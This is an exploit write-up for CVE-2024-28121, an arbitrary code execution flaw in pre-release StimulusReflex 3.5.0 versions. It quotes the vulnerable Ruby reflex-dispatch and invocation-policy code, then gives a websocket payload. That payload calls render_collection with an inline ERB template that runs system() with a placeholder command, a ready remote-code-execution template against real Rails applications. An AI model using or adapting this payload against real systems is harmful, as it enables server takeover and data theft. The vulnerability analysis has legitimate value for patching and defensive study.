StimulusReflex 3.5.0 Arbitrary Code Execution

`StimulusReflex CVE-2024-28121  
  
Arbitrary code execution in StimulusReflex. This affects version 3.5.0 up to and including 3.5.0.rc2 and v3.5.0.pre10.  
  
## Vulnerable code excerpt  
  
stimulus_reflex/lib/stimulus_reflex/reflex.rb  
```  
# Invoke the reflex action specified by `name` and run all callbacks  
def process(name, *args)  
run_callbacks(:process) { public_send(name, *args) }  
end  
```  
  
stimulus_reflex/app/channels/stimulus_reflex/channel.rb  
```  
def delegate_call_to_reflex(reflex)  
method_name = reflex.method_name  
arguments = reflex.data.arguments  
method = reflex.method(method_name)  
  
policy = StimulusReflex::ReflexMethodInvocationPolicy.new(method, arguments)  
  
if policy.no_arguments?  
reflex.process(method_name)  
elsif policy.arguments?  
reflex.process(method_name, *arguments)  
else  
raise ArgumentError.new("wrong number of arguments (given #{arguments.inspect}, expected #{policy.required_params.inspect}, optional #{policy.optional_params.inspect})")  
end  
end  
```  
  
stimulus_reflex/lib/stimulus_reflex/policies/reflex_invocation_policy.rb  
```  
module StimulusReflex  
class ReflexMethodInvocationPolicy  
attr_reader :arguments, :required_params, :optional_params  
  
def initialize(method, arguments)  
@arguments = arguments  
@required_params = method.parameters.select { |(kind, _)| kind == :req }  
@optional_params = method.parameters.select { |(kind, _)| kind == :opt }  
end  
  
def no_arguments?  
arguments.size == 0 && required_params.size == 0  
end  
  
def arguments?  
arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size  
end  
  
def unknown?  
return false if no_arguments?  
return false if arguments?  
  
true  
end  
end  
end  
```  
  
## Payload  
  
Find a websocket message with target and args.  
```  
\"target\":\"StimulusReflex::Reflex#render_collection\",\"args\":[{\"inline\": \"<% system('[command here]') %>\"}]  
```  
  
`